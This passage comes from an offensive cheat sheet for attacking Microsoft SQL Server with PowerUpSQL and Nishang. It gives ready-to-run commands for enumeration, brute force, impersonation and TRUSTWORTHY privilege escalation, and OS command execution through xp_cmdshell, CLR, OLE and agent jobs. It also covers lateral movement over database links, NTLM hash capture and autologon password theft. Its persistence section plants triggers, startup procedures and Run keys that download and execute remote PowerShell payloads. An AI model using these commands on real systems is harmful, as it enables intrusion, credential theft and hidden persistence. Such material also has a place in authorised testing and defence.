processadmin = alter/view server state, alter any connection, public = default view database, default connect to endpoints.

Discovery, Enumeration, and Scanning

  • Perform a port scan to find SQL Servers which are configured to accept remote connections
PS C:\> Invoke-PortScan -StartAddress <IP address> -EndAddress <IP address> -ScanPort -Verbose        # Using Nishang
PS C:\> Get-SQLInstanceScanUDP  -ComputerName <computer name> -Verbose        # Using PowerUpSQL
PS C:\> [System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()        # Using .NET
  • Perform local enumeration to find SQL Servers
PS C:\> Import-Module -Name SQLPS
PS SQLSERVER:\> Get-ChildItem SQLSERVER:\SQL\        # Using SQLPS module (needs admin on the target)
PS C:\> Get-Service -Name MSSQL*        # Using services
PS C:\> $sqlinstance = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server'        # Using registry keys
PS C:\> foreach ($SQLInstance in $SQLInstances) {
PS C:\> foreach ($s in $SQLInstance.InstallInstances) {
PS C:\> [PSCustomObject]@ {
PS C:\> PSComputerName = $SQLInstance.PSComputerName
PS C:\> InstanceName = $s}}}
PS C:\> Get-SQLInstanceLocal -Verbose        # Using PowerUpSQL
  • Perform domain enumeration to find SQL Servers
PS C:\> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName        # Using Active Directory Module
PS C:\> Get-SQLInstanceDomain -Verbose        # Using PowerUpSQL

Brute Force

  • Check if the current domain user has access to a database
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Check if an alternative domain user has access to a database
PS C:\> runas /noprofile /netonly /user:<Domain>\<username> powershell.exe
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Enumerate database users on the databases with Public role and then brute force them
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(200)
PS C:\> Get-SQLFuzzServerLogin -Instance <computer name> -Verbose        # Using PowerUpSQL
  • Perform a brute force attack on a SQL Server
PS C:\> Invoke-BruteForce -ComputerName <computer name> -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL -Verbose        # Using Nishang
PS C:\> Get-InstanceDomain | Get-SQLConnectionTestThreaded -Username <username> -Password <password> -Verbose        # Using PowerUpSQL

Post Exploitation Enumeration

  • Enumerate version
SELECT @@version
  • Enumerate current user
SELECT SUSER_SNAME()
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
  • Enumerate current role
SELECT user
  • Enumerate current database
SELECT db_name()
  • List all databases
SELECT name FROM master..sysdatabases
  • Check what account the SQL server is running as
SELECT servicename, service_account FROM sys.dm_server_services
  • List all logins on the server (if run with sysadmin privileges, more logins are shown)
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'
  • List all database users for a database (if run with sysadmin privileges, more logins are shown)
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE'
  • List all sysadmin (if run with sysadmin privileges, more logins are shown)
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
  • List all database roles (if run with sysadmin privileges, more logins are shown)
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
  • Check effective permissions for the server
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
  • Check effective permissions for the database
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
OR
use <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
  • Check active user token
SELECT * FROM sys.user_token
  • Check active login token
SELECT * FROM sys.login_token

Privilege Escalation (public to sysadmin)

  • List of ways to escalate privileges on a SQL Server
- Brute force
- Public to sysadmin (misconfigured roles and databases, poorly written stored procedures, excessive permissions)
- sysadmin to OS Service Account (command execution, UNC path)
- OS Service Account to OS Admin
- OS Admin to sysadmin

User Impersonation (EXECUTE AS): When EXECUTE AS is used, the execution context is switched to the specified login or user name. Impersonation allows impersonation of other users and logins to be able to access resources which means it can be abused to use privileges and objects available to other users.

  • Find SQL Server logins which can be impersonated in the current database
SELECT distinct b.name 
FROM sys.server_permissions a 
INNER JOIN sys.server_principals b 
ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE'
PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <MSSQL server> -Verbose        # Using PowerUpSQL
PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <MSSQL server> -Exploit -Verbose        # Note the difficulty in automating the abuse of chained/nested impersonation, it must be done manually
  • Exploit impersonation manually
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'dbadmin'        # Put the user you can impersonate
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
  • Exploit chained/nested impersonation manually
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'dbadmin'        # Put the user you can impersonate
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

TRUSTWORTHY Database: A database property (is_trustworthy_on) is used to indicate whether a SQL Server instance trusts a database and its contents. The property is turned off by default as a security measure. Only a sysadmin can set a database to be TRUSTWORTHY. When TRUSTWORTHY is off, impersonated users (by using EXECUTE AS) will only have database-scope permissions but when TRUSTWORTHY is turned on impersonated users can perform actions with server level permissions. This allows writing procedures that can execute code which uses server level permission. If the TRUSTWORTHY setting is set to ON, and if a sysadmin (not necessarily sa) is owner of the database, it is possible for the database owner (a user with db_owner) to elevate privileges to sysadmin. This works even if sa is disabled.

  • Check for TRUSTWORTHY databases - can be done with public role (msdb will always be set to true)
SELECT name as database_name 
, SUSER_NAME(owner_sid) AS database_owner
, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases
PS C:\> Invoke-SQLAudit -Instance <MSSQL server> -Verbose | Out-GridView        # Using PowerUpSQL
PS C:\> Invoke-SQLAuditPrivTrustworthy -Instance <MSSQL server> -Verbose        # Using PowerUpSQL
PS C:\> Invoke-Sqlcmd -Query 'SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases' -Username <username> -Password <password>        # Using PowerUpSQL
  • Check for db_owner - can be done with public role
use <TRUSTWORTHY database>
SELECT DP1.name AS DatabaseRoleName, 
    isnull (DP2.name, 'No members') AS DatabaseUserName 
  FROM sys.database_role_members AS DRM 
  RIGHT OUTER JOIN sys.database_principals AS DP1 
    ON DRM.role_principal_id = DP1.principal_id 
  LEFT OUTER JOIN sys.database_principals AS DP2 
    ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R' 
ORDER BY DP1.name;
  • Use EXECUTE AS to elevate privileges by adding our user to sysadmin (If TRUSTWORTHY property is turned off we will be unable to execute as it will not have enough permissions)
use <TRUSTWORTHY database>
EXECUTE AS USER = 'dbo'
SELECT system_user
SELECT IS_SRVROLEMEMBER('sysadmin')
EXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin'

Command Execution

Now we have sysadmin privileges on a SQL Server, it is possible to execute OS level commands on the server. What are the privileges with which we can execute commands on a SQL Server? SQL Server service account in almost all cases and agent service account for agent jobs. SQL Server service account can be: Local user, Local Admin, SYSTEM, Network service, Local managed service account, Domain user, Domain Admin, Domain managed service account.

  • List of ways to execute OS commands once we have enough privileges on a SQL Server
- xp_cmdshell
- Custom Extended Stored Procedures
- Custom Common Language Runtime (CLR) Assemblies
- OLE Automation Procedure
- Agent Jobs (CmdExec, PowerShell, ActiveX etc...)
- Registry Autoruns
- File Autoruns
- External Scripting

xp_cmdshell is disabled by default since SQL Server 2005, however can be reinstalled or reenabled if we have sysadmin privileges. The command gets executed with the privileges of the SQL Server service account. It is synchronous: control is not returned to the caller until command execution is complete. Keep this in mind when running reverse shells using this method. Also, sysadmin privileges are required to use this stored procedure.

  • Reinstall xp_cmdshell if it is uninstalled
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
  • Reenable xp_cmdshell if it is uninstalled
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
  • Execute a command using xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
PS C:\> Execute-Command-MSSQL -ComputerName <MSSQL server> -UserName <username> -Password <password>        # Using Nishang
PS C:\> Invoke-SQLOScmd -Username <username> -Password <password> -Instance <MSSQL server> -Command <command>        # Using PowerUpSQL

Extended Stored Procedure can be loaded from a DLL which acts as an extension to SQL server. The DLL needs to be on the disk. Also, sysadmin privileges are required to register each Extended Stored Procedure inside a DLL. Executes with the privileges of the service account and runs in the process space of SQL Server. The DLL can have any file extension and can also be loaded from UNC path or Webdav.

  • Add an Extended Stored Procedure (sp_addentendedproc can be used to register the stored procedure. Note that the function name in the DLL and the command must be exactly the same (case-sensitive))
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
PS C:\> Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc        # Creating the DLL using PowerUpSQL
PS C:\> Get-SQLQuery -UserName <username> -Password <password> -Instance <MSSQL server> -Query "sq_addextendedproc 'xp_calc', '\\<IP address>\fileserver\xp_calc.dll'"        # Adding the DLL using PowerUpSQL
  • Execute the Extended Stored Procedure
EXEC xp_calc
PS C:\> Get-SQLQuery -UserName <username> -Password <password> -Instance <MSSQL server> -Query "EXEC xp_calc"        # Using PowerUpSQL
  • List existing Extended Stored Procedures
PS C:\> Get-SQLStoredProcedureXP -Instance <MSSQL server> -Verbose
  • Drop the Extended Stored Procedure
sp_dropextendedproc 'xp_calc'
  • Code sample for DLL links

https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp https://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure

Custom Common Language Runtime (CLR) is a run-time environment provided by the .NET framework. SQL Server supports CLR integration which allows writing stored procedures and other things by importing a DLL. CLR integration is off by default and sysadmin privileges are required by default to use it. Create assembly, Alter assembly or DDL_Admin role can also use it. The execution takes place with privileges of the service account.

  • Create the DLL cmd_exec.cs link

https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/

  • Compile the DLL (the DLL can be loaded from a local path or a UNC path)
PS C:\> C:\Windows\Microsofr.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Users\labuser\Desktop\cmd_exec.cs
  • Enable CLR (if not working, remove the GO statements)
use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
  • Import the assembly and use the stored procedure (if not working, remove the GO statements)
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\<IP address>\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME 
[my_assembly].[StoredProcedures].[cmd_exec];
GO
cmd_exec 'whoami'
  • Drop the procedure and assembly
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assesmbly
  • Create stored procedure without using a DLL file (CREATE ASSEMBLY also accepts hexadecimal string of a CLR DLL)
-- Import the assembly from a file
CREATE ASSEMBLY my_assembly
FROM '\\<IP address>\fileserver\cmd_exec.dll'
--Import the assembly from string
CREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90....
WITH PERMISSION_SET = UNSAFE
  • Create C# code for the DLL, the DLL, and SQL query with DLL as hexadecimal string
PS C:\> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop        # Using PowerUpSQL
  • Execute a command using the CLR assembly
PS C:\> Invoke-SQLOSCmdCLR -Username <username> -Password <password> -Instance <MSSQL server> -Command <"command"> -Verbose        # Using PowerUpSQL
  • List all the stored procedures added using CLR
PS C:\> Get-SQLStoredProcedureCLR -Instance <MSSQL server> -Verbose        # Using PowerUpSQL

OLE Automation Procedures are system stored procedures which allow use of COM objects using SQL queries. Turned off by default, and sysadmin privileges are required to enable it. If a user or database role has execute privileges on sp_OACreate and sp_OAMethod, that user can also be used for execution of OLE Automation Procedures. The execution takes place with privileges of the service account.

  • Enable OLE Automation Stored Procedures (if not working, remove the GO statements)
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
  • Execute a command using OLE Automation Procedures (to read the output, it can be saved to a file and the contents of the file need to be read)
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
  • Set the SecurityDescriptor of ftp.exe to Everyone
-- Declare variables used to reference the objects
DECLARE @objLocator int,@objwmi int,@objPermiss int,@objFull int;

-- Create a WbemScripting.SWbemLocator object
EXEC sp_OACreate 'WbemScripting.SWbemLocator',@objLocator OUTPUT;

-- Use the SWbemLocator object's ConnectServer() method to connect to the local WMI server. The connection will be to 'root\cimv2' namespace
EXEC sp_OAMethod @objLocator, 'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';

-- Retrieve an SWbemObject that represents the requested object. In this case, a Win32_LogicalFileSecuritySetting object for 'ftp.exe'
EXEC sp_OAMethod @objWmi, 'Get',@objPermiss OUTPUT, 'Win32_LogicalFileSecuritySetting.Path=''ftp.exe''';

-- Create an empty SecurityDescriptor
EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT,'Win32_SecurityDescriptor';

-- Set the SecurityDescriptor's ControlFlags property to '4' (SE_DACL_PRESENT)
EXEC sp_OASetProperty @objFull,'ControlFlags',4;

-- Set the file security setting object's security descriptor to the new SecurityDescriptor object
EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',NULL,@objFull;
  • Automatically enable, execute, and read output from a command
PS C:\> Invoke-SQLOSCmdCLR -Username <username> -Password <password> -Instance <MSSQL server> -Command <"command"> -Verbose        # Using PowerUpSQL
PS C:\> Invoke-SQLOSCmdCLR -Username <username> -Password <password> -Instance <MSSQL server> -Command "powershell -e <base64encodedscript>" -Verbose        # Using PowerUpSQL 

SQL Server Agent is a Windows service that executes scheduled tasks or jobs. A job can be scheduled and executed in response to alerts or by using sp_start_job stored procedure. Needs sysadmin role to create a job. Non-sysadmin users with the SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole fixed database roles in the msdb database can also be used. The execution takes place with the privileges of the SQL Server Agent service account if a proxy account is not configured. Interesting subsystems (job types): Microsoft ActiveX Script (VBScript and JScript), CmdExec, PowerShell, SSIS (SQL Server Integrated Services). Creating and using a job: Start the SQL Server Agent service (xp_startservice), Create Job (sp_add_job), Add Job step (sp_add_jobstep), Run Job (sp_start_job), Delete Job (sp_delete_job).

  • Create and execute a job using PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'
  • Create and execute a job using CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob'
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', 
@subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdjob'
  • Create and execute a job using PowerUpSQL
PS C:\> Invoke-SQLOSCmdAgentJob -Subsystem <PowerShell/CmdExec/VBScript/JScript> -Username <username> -Password <password> -Instance <MSSQL server> -Command "powershell -e <base64-encodedscript>" -Verbose
  • List all jobs
SELECT 
      job.job_id, notify_level_email, name, enabled, 
description, step_name, command, server, database_name
FROM 
      msdb.dbo.sysjobs job 
INNER JOIN 
      msdb.dbo.sysjobsteps steps 
ON 
      job.job_id = steps.job_id
PS C:\> Get-SQLAgentJob -Instance <MSSQL server> -Username <username> -Password <password> -Verbose        # Using PowerUpSQL

External Scripts - R and Python. R was introduced in SQL Server 2016 and Python in SQL Server 2017 for big data analytics and machine learning. Runtime environments must be installed as a prerequisite. Not on by default. Needs SQL server service restart. Also, needs sysadmin privileges to be enabled and executed. Runs with the privileges of a dynamically created Windows user account (member of the SQLRUserGroup).

  • Execute a command with R
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script 
  @language=N'R', 
  @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULTS SETS (([cmd_out] text));
GO
  • Grab Net-NTLM hashes with R
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
@script=N'OutputDataSet <- data.frame(shell("dir",intern=T))'        # Using shell instead of system
  • Execute a command with Python
EXEC sp_execute_external_script 
@language=N'Python', 
@script=N'import subprocess 
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) 
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' 
WITH RESULT SETS (([cmd_out] nvarchar(max)))
  • Execute a command using PowerUpSQL
PS C:\> Invoke-SQLOSCmdR -Username <username> -Password <password> -Instance <MSSQL server> -Command "powershell -e <base64-encodedscript>" -Verbose
PS C:\> Invoke-SQLOSCmdPython -Username <username> -Password <password> -Instance <MSSQL server> -Command "powershell -e <base64-encodedscript>" -Verbose

Abusing Trusts

After executing commands, it is possible to spread laterally using Shared Service Account - Domain user or Domain Admin shared by multiple SQL servers (OS layer) or Database Links (move laterally in the database layer). SQL server allows Domain user logins which, essentially, makes it a part of the domain trust. Once access to a domain user is established, we can enumerate what privileges it has on SQL servers in the domain. If the Domain user is a sysadmin and a shared service account, i.e. used by multiple SQL Servers as a service account, we have instant sysadmin access to all the SQL Servers using the account. If there is a domain user logged in to a SQL Server or there is a service running with another domain user on a SQL server where we have sysadmin privileges (and the service account has local admin rights), it is possible to dump credentials for that user and laterally move using those credentials.

  • Check if the current domain user has privileges on SQL Servers in the domain
PS C:\> Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
PS C:\> runas /noprofile /netonly /user:<domain>\username> powershell.exe        # For alternate credentials
  • Enumerate domain accounts and groups in the forest and other trusted forests by fuzzing the values to SUSER_NAME function (a user with public role (everyone) can be used)
PS C:\> Get-SQLFuzzDomainAccount -Instance <MSSQL server> -StartId 500 -EndId 2000 -Verbose
PS C:\> Get-SQLFuzzDomainAccount -Instance <MSSQL server> -StartId 500 -EndId 2000 -Verbose -Domain <Domain Name>        # Enumerate another domain

A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources. In case of database links between SQL Servers, that is, linked SQL Servers it is possible to execute stored procedures. Database links even work across forest trusts.

  • Look for links to remote servers (public privileges are enough)
select * from master..sysservers
PS C:\> Get-SQLServerLink -Instance <MSSQL server> -Verbose
  • Enumerating database links
select * from openquery("ops-mssql",'select * from master..sysservers')
select * from openquery("ops-mssql",'select * openquery("ops-file",''select * from master..sysservers'')')
PS C:\> Get-SQLServerLinkCrawl -Instance <MSSQL server> -Verbose        # Using PowerUpSQL
  • Enable xp_cmdshell so we can execute commands on the target server (On the target server, either xp_cmdshell should already be enabled, or if rpcout is enabled on the last node (disabled by default), xp_cmdshell can be enabled using the below command)
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "dps-sqlsrvtwo"
  • Execute commands using xp_cmdshell (output will be in the CustomQuery field)
select * from openquery("ops-mssql", 'select * from openquery("ops-file", ''select * from openquery("dps-sqlsrvtwo", ''''select @@ version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')        # MSSQL query - from the initial SQL server, OS commands can be executed using nested link queries. The quotes double between the SQL select statements e.g. 1, 2, 4
PS C:\> Get-SQLServerLinkCrawl -Instance <MSSQL server> -Query "exec master..xp_cmdshell 'cmd /c calc.exe'" -Verbose

Privilege Escalation (public to service account)

UNC Path Injection: A very well known method to capture Net-NTLM (also known as NTLM v1/v1) hashes. Stored procedures like xp_dirtee and xp_fileexist can be used to capture Net-NTLM hashes. The captured hashes can be cracked using John-the-Ripper, Hashcat.

PS C:\> Invoke-SQLUncPathInjection -Verbose -CaptureIP <IP address>

Rotten Potato: Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control. Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts.

  • Perform a Rotten Potato attack
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

Privilege Escalation (OS Admin to sysadmin)

There are well known ways of getting sysadmin privileges if we have local admin privileges at the operating system level. Extracting service account credentials from LSA Secrets and/or memory, Token Impersonation for the SQL Server service, single user mode etc. are very well known methods.

Persistence

SQL Server provides persistence opportunities with Startup stored procedures, Triggers, and Registry keys. SQL server often runs as a privileged account (local or global) making it very useful for persistence. More so, if the target instance is running as a domain user which is a local administrator on some other machine(s), the persistence is more stealthy.

Startup Stored Procedures are stored procedures marked for automatic execution and are executed every time SQL Server starts. sysadmin privileges are required to mark a stored procedure for automatic execution. Such a stored procedure must be in the master database, cannot have input or output parameters, and can only be owned by sa. It gets executed with sysadmin privileges when SQL Server service is restarted.

  • Create a stored procedure (assuming xp_cmdshell is already enabled)
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (New-Object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
  • Mark the stored procedure for automatic execution (now whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload)
EXEC sp_procoption @ProcName = 'sp_autops'
  , @OptionName = 'startup'
  , @OptionValue = 'on';
  • List stored procedures marked for automatic execution
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

A trigger is a special kind of stored procedure that automatically executes when an event occurs in the SQL Server. Three types of triggers: Data Definition Language (DDL) - Executes on Create, Alter, and Drop statements and some system stored procedures. Data Manipulation Language (DML) - Executes on Insert, Update, and Delete statements. Logon Triggers - Executes on a user logon. Both DML and DDL triggers execute under the context of the user that calls the trigger.

  • Create a DDL trigger (can be used if no custom database exists on the SQL Server) (assuming xp_cmdshell is already enabled)
CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (New-Object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
  • Creat a DML trigger (when using DML triggers and xp_cmdshell (or any other command execution), keep in mind that when the trigger gets executed by a normal user, they must have privileges to do so) (assuming xp_cmdshell is already enabled)
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (New-Object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
  • Create a logon trigger (executes after the authentication phase of logging finishes, but before the session is established. This makes a logon trigger ideal for triggering with a logon failure of a low privilege user) (assuming xp_cmdshell is already enabled)
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (New-Object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;
  • List triggers
SELECT * FROM sys.server_triggers -- All triggers
  • List triggers for a database
USE testdb
SELECT * FROM sys.server_triggers -- Triggers for a database
  • List DDL triggers using PowerUpSQL
PS C:\> Get-SQLTriggerDdl -Instance <MSSQL server> -Username <username> -Password <password> -Verbose
  • List DML triggers using PowerUpSQL
PS C:\> Get-SQLTriggerDml -Instance <MSSQL server> -Username <username> -Password <password> -Verbose

SQL Server provides stored procedures to interact with the Windows registry: xp_regwrite: Needs sysadmin, xp_regread: Limited read for public role, xp_regdeletekey: Needs sysadmin.

  • Use xp_regwrite
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'SQLServerUpdate',
@type = 'REG_SZ',
@value = 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")'
  • Use xp_regwrite using PowerUpSQL
PS C:\> Get-SQLPersistRegDebugger -Instance <MSSQL server> -Username <username> -Password <password> -FileName utilman.exe -Command 'C:\Windows\System32\cmd.exe' -Verbose
OR
PS C:\> Get-SQLPersistRegRun -Instance <MSSQL server> -Username <username> -Password <password> -Name SQLUpdate -Command 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose
  • Use xp_regread (as sysadmin)
DECLARE @Reg_Value VARCHAR(1000)
EXECUTE xp_regread
  'HKEY_LOCAL_MACHINE',
  'SOFTWARE\Microsoft\Windows
NT\CurrentVersion\CurrentVersion',
   'ProductName',
   @Reg_Value OUTPUT
         
SELECT @Reg_Value
  • Use xp_regread (as sysadmin) using PowerUpSQL to read auto logon password from registry
PS C:\> Get-SQLRecoverPwAutoLogon -Instance <MSSQL server> -Username <username> -Password <password> -Verbose

Identifying Interesting Information

  • Look for interesting databases based on name
PS C:\> Get-SQLDatabaseThreaded -Threads 10 -Username <username> -Password <password> -Instance <MSSQL server> -Verbose | select -ExpandProperty DatabaseName
  • Look for interesting databases based on specific attributes (encrypted databases are decrypted automatically for sysadmin)
PS C:\> Get-SQLDatabaseThreaded -Threads 10 -Username <username> -Password <password> -Instance <MSSQL server> | Where-Object {$_.is_encrypted -eq "True"}
  • Locating interesting data
PS C:\> Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SamepleSize 5 -ValidateCC -NoDefaults -Username <username> -Password <password> -Instance <MSSQL server> -Verbose

#10. - WMI Attacks

WMI Basics

  • List all namespaces within the root namespace
PS C:\> Get-WmiObject -Namespace "root" -Class "__Namespace" | select Name
PS C:\> Get-CimInstance -Namespace "root" -ClassName "__Namespace" | select Name
  • List nested namespaces
https://powershellmagazine.com/2013/10/18/pstip-list-all-wmi-namespaces-on-a-system/
  • List classes
PS C:\> Get-WmiObject -List
PS C:\> Get-WmiObject -NameSpace "root/default" -List
PS C:\> Get-WmiObject -NameSpace root/cimv2 -Class *bios* -List
PS C:\> Get-CimClass -List
PS C:\> Get-CimClass -QualifierName dynamic        # To list only dynamic classes (only dynamic classes can be queried)
PS C:\> Get-CimClass -NameSpace root/cimv2 -ClassName *bios*
  • Retrive an object from a class
PS C:\> Get-WmiObject -Class Win32_BIOS | Format-List *
PS C:\> Get-WmiObject -Class Win32_ComputerSystem | Format-List *
PS C:\> Get-CimInstance -ClassName win32_bios
  • Filter results
PS C:\> Get-WmiObject -Class Win32_Process -Filter "Name = 'explorer.exe'"
PS C:\> Get-CimInstance -ClassName win32_process -Filter "Name = 'explorer.exe'" | fl *

PS C:\> Get-WmiObject -Class Win32_Process | Where-Object {$_.Name -eq "explorer.exe"}
PS C:\> Get-WmiObject -Class Win32_Process | where name -eq "explorer.exe"
PS C:\> Get-CimInstance -ClassName win32_process -Filter "Name = 'explorer.exe'" | Where-Object {$_.Name -eq "explorer.exe"}

PS C:\> Get-WmiObject -Query "select * from Win32_Process where Name = 'explorer.exe'"
PS C:\> Get-CimInstance -Query "select * from Win32_Process where Name = 'explorer.exe'"
  • Remove an object (WMI returns live, editable objects so please be careful while removing an object)
PS C:\> Get-WmiObject -Class Win32_process | Where-Object {$_.Name -eq "notepad.exe"} | Remove-WmiObject
PS C:\> Get-CimInstance -ClassName Win32_process -Filter "Name = 'notepad.exe'" | Remove-CimInstance
  • Find all the classes in a namespace which contain method(s)
PS C:\> Get-WmiObject * -List | Where-Object {$_.Methods}
PS C:\> Get-CimClass -MethodName *
PS C:\> Get-CimClass -MethodName *create*
  • List methods available with a class
PS C:\> Get-WmiObject -Class win32_process -List | select -ExpandProperty Methods
PS C:\> Get-CimClass -ClassName win32_process | select -ExpandProperty CimClassMethods
PS C:\> (Get-CimClass -ClassName win32_process).CimClassMethods
  • List parameters of a method in a class (qualifiers indicate if a parameter is input parameter or output parameter)
PS C:\> Get-CimClass -ClassName win32_process | select -ExpandProperty CimCLassMethods | where name -eq "Create" | select -ExpandProperty Parameters
  • Use the Create method of win32_process class to run a process/executable
PS C:\> Invoke-WmiMethod -Class win32_process -Name Create -ArgumentList calc.exe
PS C:\> Invoke-CimMethod -ClassName win32_process -MethodName Create -Arguments @{CommandLine = "calc.exe"}
  • Update properties of a WMI object (can use Get-WriteableProperties.ps1 to list writeable properties of a class)
